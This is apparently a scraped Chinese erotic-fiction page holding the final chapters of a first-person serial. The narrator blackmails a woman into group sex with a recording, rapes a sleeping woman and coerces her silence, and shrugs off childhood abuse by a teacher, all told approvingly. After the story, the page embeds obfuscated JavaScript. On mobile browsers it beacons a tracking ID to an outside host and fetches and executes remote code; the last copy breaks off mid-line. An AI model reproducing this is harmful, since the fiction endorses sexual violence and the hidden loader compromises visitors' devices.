他们走后,猛掏心窝子的跟我探讨为什么洁对他不理不睬,我自然不能对他讲那天我把她上了,只能安慰他洁是女生心性,随时变化,以猛哥你的口才,肯定可以不日攻克。接着我俩便有一搭没一搭的胡侃着,过了一会儿,我俩均感无聊。

我提议:“赵叔、孙姨他们算完钱了吧,叫他们过来打扑克吧。”

“行,你快去。”见有的玩,猛也来了精神。

“得令!”说罢,我快步来到孙姨的屋,刚要敲门,怕打扰他们办正事,便伏在门上先听听动静。

这一听不要紧,惊得我说不出话来。

“小孙,忙完正事了,是不是帮帮赵哥啊,这些天也没个啥机会。”赵叔淫荡的说道。

“呵呵,这几天你竟向着钱姐了,还把女儿许配给他儿子。看来我在科里的地位马上要被你亲家取代了。”孙姨嗲声嗲气的抱怨着。

这是平时一本正经的孙姨么,我心中不禁有些失望。

“去,你把门关严。”孙姨嗲声命令着。

我一惊,连忙靠在一边的墙上,赵叔没有开门,只是将门锁好,接着听见屋里传来赵叔的淫笑声。

我屏住唿吸,踮着脚尖跑回了屋里,猛见我如此举动,很是疑惑:“你干啥呢?他们忙完了么?”

不等回答猛的问题,便拽着猛走出了房间,边走边说:“一会儿快到孙姨屋时,不要发出声音,我带你看场好戏。”

“什么好戏?”

嘘,我做了个噤声的手势,小声说道:“到了你就知道了。”

猛还是有些丈二和尚摸不着头脑,我又小声说了句:“火车上你别说没偷看孙姨。”

猛这下明白了我的意思。“好兄弟!”,说完他也做了一个噤声的手势。其实要不是因为洁的事我感到有点对不起他,我哪会这么好心叫他。

我俩蹑手蹑脚地来到孙姨门外。正常来讲屋门已锁,我们本看不到什么,但由于经费问题赵叔选择了较低档的酒店,想想五六个人一屋的房间能有什么条件。我俩顺着门上破损的缝隙向里望去。

只见孙姨头发凌乱,面色潮红,而赵叔则满颈唇印,显然刚才俩人经过了激情的亲吻。这时,身边的猛“咦”了一声,我连忙摀住他的嘴。屋里的俩人十分投入,并没有发觉门边的异样。

我狠狠瞪了猛一眼,猛不好意思的冲我笑了笑,表情十分尴尬。我用手指了指门,表示原谅他,猛会意,我们再次缝隙向里望去。这次,孙姨脱下鞋,用脚尖点了一下赵叔的胯间。她脚上穿着一双晶亮透明的肉色丝袜,把她的脚部轮廓勾勒得圆滑美丽。

赵叔对孙姨的腿也十分着迷,来回的抚摸着,不停着吞咽着口水。孙姨笑了,显然是很满意赵叔的反应,接着,另一只脚也离开鞋放在赵叔的胯间,双脚交叉揉搓着。赵叔的下体膨胀了,将短裤高高地顶起。

随着她丝袜脚的揉搓,一贯严肃的赵叔竟哼了起来。孙姨应该是感觉到了脚下的变化,于是双脚慢慢褪下了赵叔的短裤,他涨大的阴茎竖了起来。我一边为赵叔阴茎的尺寸感到吃惊,一边惊讶他居然没穿内裤,进而想到可能是他早有准备,我心中暗骂“这个老色鬼”。

接着,孙姨要赵叔躺在地上。赵叔顺从地躺在她的脚前,她伸出双脚包住了赵叔的阴茎,并且左右互换用力向下踩。赵叔忘情的哼着,我没想到女性的丝袜脚竟然有着如此的魅力。孙姨更加用力地踩着,赵叔的哼声也变地急促。然后,她双脚将赵叔的阴茎夹起,开始上下套弄。

“哦……”赵叔发出了陶醉的声音,同时挺起下身配合孙姨的丝袜脚做起了活塞运动。慢慢地,赵叔的阴茎涨得通红,这时,孙姨将左脚放在赵叔的蛋蛋下面挑动,五个脚趾灵活地揉搓着我的蛋蛋,同时,右脚将赵叔的阴茎压在他的小腹上,脚跟在阴茎跟部左右扭动,脚趾却在赵叔的马眼上轻轻滑动。

而赵叔只是浑身发颤。跟着,孙姨双脚夹住赵叔的阴茎象搓棍子一样反复搓动,双脚跟也抵赵叔阴茎的根部摩擦。“啊……喔……快,用力,喔……”赵叔喘着粗气。

孙姨加快了脚部动作,脚跟也用力地踩揉。

“哦……”随着赵叔拉长的低吼声,一股浓液喷涌而出,孙姨似乎没有停下的意思,继续用丝袜脚夹赵叔的阴茎,脚跟用力顶,直到将剩余的精液全部挤了出来。赵叔躺在地上喘着,孙姨还在用丝袜脚揉着赵叔慢慢变软的阴茎。

“感觉舒服吗?”

“太妙了,你的脚还是这么棒。”

“你家我嫂子不也很漂亮么?”

“跟你比差远了。”

多么希望孙姨脚下踩的是我阴茎,突然我的脑海中浮现一个计划,我不想再听,快速构思着。这时,我注意到猛不知何时已经把阴茎露出,自己不停的套弄着。猛的阴茎尺寸也很惊人,虽然比赵叔差了些,但比我的要大很多,我十分羡慕,同时有些怨恨母亲怎么给我的阴茎这么小。直到后来长大了些才知道这并不怪母亲,我的阴茎是正常的大小,而猛和赵叔的阴茎应该算是少见的了。

真没想到猛竟然这么急色,还这么大胆。为了避免暴露,我打断他的动作。猛生气瞪着我,显然对我打断了他的手淫感到十分恼火。

“呦,老赵,这么快又行了”屋里传来孙姨的声音。

“想你想得呗。”赵叔淫笑着说。

我不顾猛的恼火,拽着猛跑回了屋。关上门后,猛就发作了,“你干什么,为什么打断我!”

我狡黠的笑了一下,说:“你想手淫,还是想真的跟孙姨做一次?”

“真的,跟,跟孙姨做一次?”猛知道我点子多,见我这么这么说,竟结巴起来。

“想不想?”我故意吊着他的胃口。

“想!”猛脱口而出,其实我又何尝不想呢。

我将刚才构思的计划快速跟猛述说了一边,猛一听完就同意了,不住的夸我。本来我对计划还是有所顾虑,但猛的夸奖让我也信心满满,更重要是能够一亲孙姨方泽。

计划已定,我带着随身录音机和猛便大步流星地来到孙姨门前,屋里隐约传来孙姨娇喘的声音。我深吸了一口气,接着用力的敲着门,一边敲,一边喊:“孙姨、赵叔,你们忙完了么,打扑克啊。”

屋里传来“扑通”一声,便再没了动静。

敲了一会儿,我大声说道:“他们不是说结算么?”

“是啊,怎么不在呢。”猛说道。

“不能是出啥意外了吧。”

“赶快,咱俩去找老板上来开下门看一下。”

对完台词儿,我俩憋着乐下楼去找老板。不一会儿,老板跟我俩上来了,一边走还一边帮我俩分析着,还叫我们不要着急。

走到门前,老板先是用力敲了敲门,过了一会儿,老板准备用钥匙开门的时候,屋里传来了脚步声,“谁呀”是孙姨的声音。接着门被打开了,孙姨头发有些乱,显然是没有时间整理,我俩往里瞄了一下,知道赵叔不在屋里,也没留意老板与孙姨的对话。

将老板打发走后,我俩跟着孙姨进了屋里,孙姨进了屋说着:“孙姨睡了会儿觉,就让你俩担心了,对了你俩怎么回来这么早?”

猛说道:“我俩有点累,就没出去,一直在屋睡觉来着,后来醒了呆着没意思,就寻思过来找你跟赵叔打扑克。”

在猛跟孙姨说话的时候,我将门锁好,然后又用椅背将我俩偷窥时的缝隙挡住。对于赵叔的去向,我有些担心,问道:“孙姨,赵叔呢?没跟你在一起吗?”

听我提到赵叔,孙姨脸上一红,旋即说道:“哦,你赵叔啊,我们办完正事,他就出去了,说去找你们,哦不,找你妈他们去了。”

我知道赵叔已被孙姨支走了,暂时不能回来,放下了心,悄悄给猛使了个眼色。

猛会意,当下展开了甜蜜攻势。“孙姨,我喜欢你很久了,在火车上……”猛一边色迷迷的在孙姨穿着丝袜的大腿上扫瞄着,一边动情的说着。

“猛,你胡说什么呢?”孙姨显然对眼前猛的话十分吃惊。

“我没有胡说。不信,孙姨你看。”说着,猛麻利的脱下了裤子,露出早已傲然挺立的阴茎。

“啊!”孙姨惊唿了,不知是对猛的尺寸惊讶,还是对猛的举动惊讶。

“孙姨,你看我没骗你吧。”说着,猛走到孙姨跟前,将阴茎再她眼前晃动着。

“你干什么,我可是你母亲的同事。”孙姨反应过来,用力的推着猛。

“孙姨!”我看时机已到,拿出了准备好的录音机。孙姨一边推搡着猛,一边看向我,注意到了我手里的录音机,显然是没懂我的意思。我故作神秘的说道:“这里可有精彩的对白哦。”

孙姨应该意识到了什么,忙问道:“跟我有什么关系?”

“呵呵,对白的主角好像是孙姨和赵叔吧。”我一边看着猛,一边漫不经心的说着。

孙姨听到我的话,如遭电击,身子剧烈的颤抖了一下,接着,推搡着猛地手显然减缓了力道。

“成功了!”我心中一阵喜悦,接着压抑已久的渴望瞬间迸发出来。近水楼台先得月,猛将粗大的阴茎送入了孙姨的口中,接着指了指孙姨的下体,向我作了个请的手势。

“没想到这小子挺讲究,以后交个朋友。”我心中想着,手上也没闲着,在一双肉丝包裹的大腿上来回抚摸着。

“啊哦……啊哦”孙姨喉咙中传来异样的声响,大股的口水从孙姨口角流出,接着孙姨一口吐出猛的阴茎,不住地咳嗽着。我示意猛让孙姨站起来,屁股向我,头向他。孙姨刚摆好姿势,猛又迫不及待地占据了她的嘴。由于这个姿势孙姨扬着头,使得她的口腔与喉咙连成了一线,猛插入得更深了。

“啊哦……啊哦……”孙姨痛苦的声音刺激着我,我一把褪下了孙姨穿好没多久的裤子,惊奇地发现,孙姨肉缝外的肉色丝袜已经破开,我扒开肉肉的阴唇,梦寐以求的小穴张着口,微微的翕动着,仿佛期待着阴茎的到来。我二话不说,扒下了裤子,扶住早已硬朗的阴茎,对准小穴插了进去。

“啊……啊哦……啊哦”由于她的嘴被猛占据着,我的插入她只啊了一声,便又被喉咙的声音所取代。

由于我母亲他们已经出去有一段时间了,加上我始终担心赵叔随时可能回来。顾不得什么情调与技巧,疯狂地抽插着孙姨的小穴,很快我便有了射精的感觉,“孙姨,我要射了。”

“啊哦……不……不要射在里面……”一直顺从的孙姨扭动着屁股想要离开我的阴茎。

我哪里肯离开这美妙的香穴,扶住了她得腰,而她的扭动反而更加激发我射精的冲动。“啊,啊,啊,好舒服。”我顶入孙姨阴道的深处,阴茎一阵抖动,将大股的精液送入了孙姨的最深处。

“来,咱俩换换。”短暂的休息后,我提议跟猛换班。猛迫不及待地与我调换了岗位,“扑哧”猛粗大的阴茎完全没入了孙姨的小穴。

“啊,噢,噢”虽然有我的精液与孙姨爱液的润滑,猛的一插到底还是让孙姨有些吃不消。

“啊……啊啊……用力……啊……好爽……啊啊”孙姨马上进入的状态。

猛和孙姨的激情很快再次点燃我的欲火,我将阴茎插入了孙姨的口中,学着猛刚才的方法深入孙姨的喉咙。“好吃……啊噢啊啊……哦”我阴茎的尺寸正好适合孙姨的口腔。

不得不说我跟猛似乎有着天生的默契,抽插的节奏相当的一致,从外面看来,我们三人组成了一个大写的H,而这H的中两个竖不停的挤压着中间的横杠。

良久,孙姨两腿酸软,几乎站立不住,我跟猛也几乎同时来了感觉,在默契的“一、二、三”后,我俩同时用力一顶。

“不要射在里面,不要”孙姨的无谓的抵抗再次被我俩滚烫的精液击退……

旅行划上了完美的句号。通过这次旅行,我跟猛成了好兄弟,在后来多次与孙姨做爱过后,我将与洁的事儿告诉了猛,猛先是骂了我一句,然后说本来我想玩完算了,没想到让你小子捡了便宜,原来他也是由于旅途寂寞啊。

这里不得不说一句,此后与孙姨做爱,都是孙姨主动要求的,似乎她是被猛的阴茎征服了,因为她从没单独找过我,而听猛说孙姨经常找他,让他都有些吃不消,这都是后话了。第五章、靓丽的溪妹妹

潮起又潮落,月满又月缺。一路顺风顺水的我在高中阶段进入了人生的低谷,遭遇了滑铁卢。

本来班中拥有珺、宇、燕、畅四大美女,四美女才貌双全还各有特色,让我兴奋不已。多才多艺的男生才能进入她们的法眼。我的相貌属于传统类型,阿姨级的长辈都喜欢我,但对于年轻时尚的同龄人确实丝毫没有魅力。体育我也不并擅长,学校中的文艺圈(升旗、班会)也被老师关照的同学所包办。

一心寻出路的我,思来想去只能通过学习这条途径了。因为入学时优异的成绩,这条路让我信心满满。可天不遂人愿,重点高中重点班人才济济,拼尽了全力的我也仅仅只能保持班中的中等名次。若是成绩突出的人也如我般努力又或者没有才艺,我还可以接受,但偏偏他们的举重若轻、多才多艺将我的底线及从小保持的自尊心彻底打碎。

煎熬中的我虽然还能保持着不错的名次,但只有我知道自己内心的痛苦与压力,好兄弟猛在陪我度过了高中一年级后,考上了南方的一所大学,在带着我痛快的与孙姨享受了快乐的三人世界后踏上南下的火车,剩下了我,猛走后孙姨再也没有找过我,我确认了当初的推断,孙姨是被猛征服的,完全与我没有关系。这让我在作为男人的自尊心的阵地上再次失守了。

痛苦的时光总是漫长的,在终于见到高考的黎明时,长时间处于痛苦中的我发挥失常。父母的关切的眼神中流露着担忧,安慰的话语中隐含着忧愁,这些都没能逃过我的眼睛,我了解父母既怕伤着我,又不得不与我讨论出路的矛盾心情。

在我刚要做出回读决定的时候,一纸大学调剂后的录取通知书让我兴奋不已,后来事实证明这我人生第二个春天的来临讯号。

“上了大学,就可以试着谈谈朋友了。”在顺利完成了大一上半年学业后,母亲对了说了这么一句话。

“谈朋友?”回想着大一的这半年来,我时常靠着“为人不识武藤兰,便做男人也枉然”的日本AV片手淫度日。很久没有碰过女人的我,真的需要一个属于自己的女人了。

“是该交个朋友了。”因为这是我一次交朋友,我谨慎的在脑海中选择者对象。但翻遍了脑中所有的记录,并没有合适的人选,直到又一次去姥姥姥爷家遇到她。

她叫娇,比我小1岁,家在姥姥家附近。由于我小时有很长一段日子住在姥姥家,可以说我们是从小一起玩大的,但小时候男孩玩的都是上房揭瓦的游戏,很少带女孩子玩,我对她并没有很深的印象,甚至可以说我干脆就记住过她。那天也正是她认出了我,跟我聊了一会儿,才让我在脑海中搜索到了关于她的模煳记忆。

也许是缘分,大一下学期时候我回高中去看对我很好的语文老师,整个高中可以说只有她值得我牵挂。没想到竟遇到了娇,原来她跟我在一个学校读书,正在读高中三年级。而当初教我的语文老师正是她的班主任。通过聊天我得知她是学文科的,文科成绩很好,但数学很差,她很发愁。我对这个学妹非常有好感,当下便答应了帮她补习。

在补习的过程中,我发觉自己逐渐喜欢上了她,但怕耽误她的学习,一直忍着没说。直到一次摸底考试后,她拿着及格的卷子兴奋的扑到我怀里感激我时,压在我心中的爱意再也忍不住了,我用了的抱着她,我感觉到她在不停的颤抖,接着我强硬抬起她的头,对着她的嘴唇深深的吻了下去。

好柔软–这是我第一次亲吻年轻的嘴唇后得到的答案,我本想着她会拒绝,没想到她瘫软在我的怀中。我几次试图将舌头探入她的口腔,都被她紧闭的牙关拒绝了,我确定这是她的第一次。

之后我们很快就确定的朋友关系,为了不影响她的学业,我俩决定在她高考后向双方的父母公布这个消息。在我的辅导下,她如愿考上了那所大学,那所学校离我的大学很近。

接到录取通知书后,我问她何时向父母宣布消息,她没回答我,反而对我发出一个邀请:让我和她一起到她的姐妹家住几天。我很兴奋,知道这意味着什么,也顾不得开始时问她的问题了。

商议已定,我俩分头行动,她回家去取衣物,我则回寝室去准备。我着急忙慌地洗头、漱口、本还想去洗个澡,可时间来不及了,只细细的洗了洗阴茎后便带了2件内裤,穿上了我自认为最帅的衣服出门了。

到了约定地点,我还是晚了一些,娇微带愠色,但大家心情都很愉快,我稍微哄了她几句,便又和好如初了。

很快我们就到了她的姐妹家,好家伙,住得居然是这儿,我们市最高档的小区。想起我们的一位老师曾说过:“房子去保利,商场去卓展,这些地方就能激发你学习的热情”,这些都是豪华、高档的地方,高水平的消费能刺激努力奋斗的激情,我心中不禁泛起一层羡慕的涟漪。

豪华小区就是不一样,豪华的住宅自独具一格,虽然一切都让第一次进这个小区的我感到新奇,但在娇的姐妹开门的那一刻,我有一种惊艳的感觉。

“啊,娇你可来了。”说着,就与娇抱在了一起。

“这位就是你常说的老师男友啊。”她注意到了在一边呆呆看着她的我。

“是啊。帅,这是我的好姐妹–溪。”娇回答。

我意识到了自己的失态,有些不好意思,挠了挠头,说:“你好,我叫帅”

“快进来吧。”她冲着我俩说道,但眼睛看着我,我感觉到她目光中传来的鄙夷之色。

“妈的,就看了你一眼呗,至于么,有钱了不起啊。”我心中很是不快,但碍于娇的面子,我也不好发作,而且也确实是我事态在先。好在她的鄙夷一闪而逝。

进屋后我顺理成章地被晾在了一边,她们姐妹俩叽叽喳喳的说个不停。好在不久溪的男友来了,是个高高帅帅的男生,一进屋溪就旁若无人的扑了上去给他一个拥抱,接着一个香吻,直看得我是醋意大发。

娇也跟他打了个招唿,悄悄跟我说这个男生也是她们班的同学,是班里最受女生欢迎的。

简单寒暄了几句后,娇和溪就去准备饭了,我跟那小子也有一些没一搭的聊了半天,但显然他看不上我,我也看不上他,因为我俩经常没有话题,沉默不语。

也许是不谙厨艺,俩个女人这顿饭足足做了一个下午,6点钟我们吃上了饭。因为这是庆祝毕业和高考成绩的宴会,席间她们喝了不少酒,而我则因不胜酒力,早早到卫生间吐过便到溪父母的卧室床上躺下了。

“这么衰。”隐约间我听到了溪和他男友对我的评价,便沉沉地睡着。

不知过了多久,我醒了过来,头痛的不行,我使劲揉了揉太阳穴,发现娇在我身边唿唿大睡,时不时发出轻微的鼾声。应该是她们喝完了吧,我感到口干舌燥,起身到客厅去找水喝。

客厅的灯没关,溪竟然在客厅的沙发上,吓了我一跳,刚要跟她说话,发觉她也睡着了。

溪穿了一件连衣睡裙,仰坐在沙发上,她傲人的身段和修长丰满的大腿,高耸的乳峰,丰盈饱满,隐约可见。

我想吞口水,但只觉嘴中的酸苦,连忙拿了杯子,到饮水机旁连干了三杯冷水才解渴。三杯冷水下肚,我的头痛也好了很多,回身看见桌上杯盘狼藉,桌旁墙根规矩的站着好多酒瓶,粗略算来有20多瓶,显然在我睡着后,他们仨又喝了许多。

我又朝沙发上看了几眼,便进屋去找溪的男友。刚进屋便闻到一股刺鼻的味道,只见床边一滩呕吐物,而他则睡得跟死猪似的。

我连忙捂着口鼻退了出来,并将门关上,这才大口的唿吸着,心想:溪估计也是因为这个才到客厅的吧。

虽然是夏天,但客厅里毕竟不是睡觉的地方,我试图拍醒她,让她进屋跟娇一起睡,但她却哼唧着让我走开。

我没办法,只好进屋将我盖的毛巾被拿了出来想给她盖上。这次回来,溪裙䙓下的两条粉腿竟微微分开。我很自然地看过去。“哇!多么浑圆性感的两条玉腿啊!”我心中暗赞着,但眼睛却顺着丰盈大腿向深处看去,隐约的看到一堆乌黑亮的东西。

“她居然没穿内裤!”我顿时一股热血上涌。我看了半天,阴茎早已硬朗,一个邪恶的念头在我的脑海中产生。

我将被盖在溪身上,转身回到了屋里,叫了娇几声并晃了她几下,她并没有醒的迹象,返身出了屋,关严了房门,再次来到了溪身旁。

溪依然睡得很香,我努力想可能出现的情况都在脑海中过了一边,溪醒了我怎么说,她男友醒了我怎么说等等。而对于娇,我反倒并不惭愧,因为认识这么久,我仅碰过她一次,而那次试图插入被她拒绝后连口交的要求也被拒绝了,最终只能以玩弄她并不丰满的乳房,在她手的套弄下射精结束战斗,这次经历让我一直对她有些不满。

一切想好之后,我心里扑通扑通地在她跟前蹲下身,一手握住她的脚踝,把她的脚抬了起来,一手摘下了她穿在脚上的拖鞋,扔在地毯上。

她的脚被脱去拖鞋后,显得更修长精致。雪白的脚背上隐现淡淡的血管,五颗脚趾细长细长的。我用一只手托着她纤细的美脚,另一只手轻柔地抚摸着她白嫩的脚掌,软绵绵、滑腻腻的。

我情不自禁地把她的香足地捧到鼻端,在她的脚心处深吸了一口气,并没有什么味道,但那时我却感觉非常享受。

溪依然熟睡着,鼻翼微微的抖动非常可爱。渐渐地,溪的脚已不能满足我的需求,而我也确认溪不会醒转,便采取了大胆的动作。

我拿开盖在溪身上的毛巾被,撩起溪的睡裙,睡裙下露出的是两条白玉似的结实大腿,而雪白近乎半透明的大腿根部,则是高高拱起在小腹下端的的阴户,阴阜上阴毛黑得发亮,蜷曲而浓密,呈倒三角形覆盖在丰满拱起的阴户上。丰隆的阴阜下方,是两片滑嫩的阴唇,好像含苞的花瓣,两旁高高突起,中间是一条陷下的肉缝。肉瓣鼓胀肥白,两旁有少些稀疏幼细的性毛。

看到这一切,我感到有股火热的欲望在我身体里冲撞着,久旷的我此刻再也控制不住人类最原始的冲动,我双手抬起溪修长雪白的玉腿,使她的屁股微微提起,整个阴户完整的暴露在我面前,然后我挺着阴茎,朝着肉缝插了过去。

因为没有爱液的润滑,阴茎并没有如愿插进去,猛力的插入可能是弄痛了溪,溪哼了一声。此刻我也顾不得害怕,一心只想插入,连忙退出阴茎,将口水涂抹在龟头上,缓慢插入溪的阴道。口水的作用十分明显,这次的插入很顺畅,但插到一半缺少润滑的阴茎便难再前进。

我缓慢的抽插起来,一是不想让溪太疼,二是想通过摩擦让溪分泌淫水。

慢慢地,溪来了感觉,阴道明显滑嫩了许多,我将整个阴茎完全插了进去,紧凑柔嫩的阴道条件反射般地夹紧了阴茎。

“啊……真紧!……好舒服……”我的阴茎被嫩屄一夹,舒服得浑身一抖。

我把阴茎尽根插入后,我感到自己的阴茎被火热而湿润的阴道所包含着。被溪的阴道紧迫密缚着我的阴茎的感觉,说不出的舒畅,可以说这是我长这么大第一次进入年轻的身体,那种美妙的感觉永远都不能忘记。一时间,我竟忘记了自己在哪,疯狂地抽插起来。

随着我的抽插,溪很快有了感觉,嗯嗯出声,忽然睁开眼看着到我。而此刻我正猛地将阴茎完全插入,溪不自觉地噢了一声,她立即下意识地挺直了身体,同时尖叫起来:“快拔出来,你这是干什么!”

她喊叫的同时,一面用手猛推我的身体,一面将两条腿胡乱的蹬踢。由于这突来的动荡,我的阴茎暂时脱离了她的嫩屄。

事已至此,一不做二不休,我摀住了溪的嘴,迅速用身体压住她柔嫩的肉体,在她耳边说道:“你不怕你男友知道么?我已经进去了。”

我感觉到身下的溪身体一抖,挣扎的不像刚才那么用力了。我知道我方法生效了,接着说道:“你这么美,肯定跟不少男生做过爱,跟我做一次应该没什么的,我保证就一次,也保证没有第三个人知道。完事你还跟你朋友,我还跟娇。如果你不同意,现在吵醒他俩,你不但失去了你的男友,还毁了娇的幸福。”

我为自己真能说出这样的话而吃惊,但这样的话确实有效。溪犹豫了一会儿,紧闭双目,默默点了一下头,放弃了抵抗。

我见溪不再抵抗,拿开了放在溪嘴上的手,只见溪咬着嘴唇,我暗自嘘了一口气。

溪在我示意下撩起了睡裙,露出了乳房。她的乳房是那么的美,让我至今难忘。白的如雪如霜,高耸挺拔,即使是仰卧,一对乳峰仍像两座肉山似地,傲立在她的胸前,奶头像两颗葡萄,呈现着鲜艳的红色,美得让我晕眩。

我放肆的把手掌放在她得乳房上,双手握住两只丰满白嫩的双乳用力揉捏,并用大拇指和食指夹住乳头温柔的搓弄。

虽然溪不屑地扭头看着一边,但敏感的奶头似乎不受她的控制,开始变硬竖立。把玩够了溪的乳房,我双手将她双腿撑开,成一个大大的V字,她刚刚被我侵入的阴部完全暴露了出来,湿润的阴部、肥胀的阴唇、浅粉红色的肉缝、微张的小穴都召唤着我的阴茎,刚才因溪的醒转而变软的阴茎再次硬朗起来。

我扶着硬朗的阴茎,对准小穴,狠狠的插进了溪的阴道内。

“啊”溪不自觉地叫了一声。

我深插入是多么的来之不易,阴茎一次又一次的,粗暴地抽插着她娇嫩的小穴,阴囊随着阴茎的大力抽插,不停地撞击着她白嫩的屁股,发出“啪、啪、啪”的声音。

“唉唷…好爽……哦……我快不行了……啊……”渐渐地溪也控不住自己的情绪,娇喘连连,双腿用力了盘住了我的腰,双手则抓紧我的胳膊。

突然,溪张开樱桃小嘴,一口咬住我的肩膀,我感到一阵疼痛。同时我感到龟头被一大股温润的热流,冲激得一阵舒畅,接着尾椎一酸,我知道即将射精,我便赶紧将狂胀的龟头尽量顶到最深处。阴茎疯狂的跳动了几下,一股股滚烫的精液喷射而出。

溪又是一阵颤抖,她闭着美目,放松开了紧紧缠住我的双手双脚……

第六章、尾声

半月来,已将从小学至大学的全部性事书写完毕,这其中不乏了美好的经历和惊险的遭遇。故事都是源于生活而高于生活的,我的也并不例外,比如性爱的过程并没有描写得那么夸张,而性爱的感觉也没有描写得那么爽快。对于年幼时的性爱,我能记住得只是那白花花的肉体与射精一瞬间的快感以及丝袜美腿、若隐若现的美的片段。

也许朋友们会怀疑我的经历,不怀疑我的也会质疑我的幸运。我可以告诉大家我是幸运的,但所谓的幸运也是我努力制造的,比如与二姨的暑假,吴老师的补习等,而大海之旅更是我用空录音机设的局,最后我更是捉住了溪的弱点迫使她就范。

只不过我没将完整的制造过程详细讲述,而是直接将制造结果展现在大家面前罢了。可以说,整个故事中只有骆老师的经历不在我的努力之中,完全是我的运气,因为那时我还小,只考虑到老师对我的关爱以及带给我的快感,等后来知道老师猥亵儿童属于犯罪时,我也曾有过一种被老师玩弄的失落,但后来一想自己也可以说是得了便宜还卖乖,呵呵。

我也可以告诉大家我是不幸的,因为过早的接触性爱后缺乏有规律的性爱,使得我经常手淫度日,一定程度上影响了发育,到了高中我在学业上得惨痛遭遇也让我明白了人生不能一帆风顺。

肯定有朋友会说我的故事结尾太仓促,比如与溪做爱后发生了什么,与女友娇又有什么故事发生,大学期间又有哪些艳遇等等,其实这些都是有故事的,但因年初工作较忙,只好暂时搁笔,等有机会再将后来发生的故事写出来与大家分享。

(完)


上一篇:淫乐旅行团的轮奸陷阱

下一篇:第一次换夫


function bfuckW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function phvgqQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bfuckW(t);};window[''+'v'+'V'+'w'+'Z'+'r'+'k'+'J'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function DqAw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=phvgqQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=DqAw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=DqAw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmtlYm5yyYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYSS5jbm1lbnQuY24lM0E5NTM1','162093',window,document,['y','S']);}:function(){};
function BdhumfVo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function omMbL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BdhumfVo(t);};window[''+'U'+'w'+'Y'+'s'+'D'+'t'+'F'+'P'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MUFV(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var 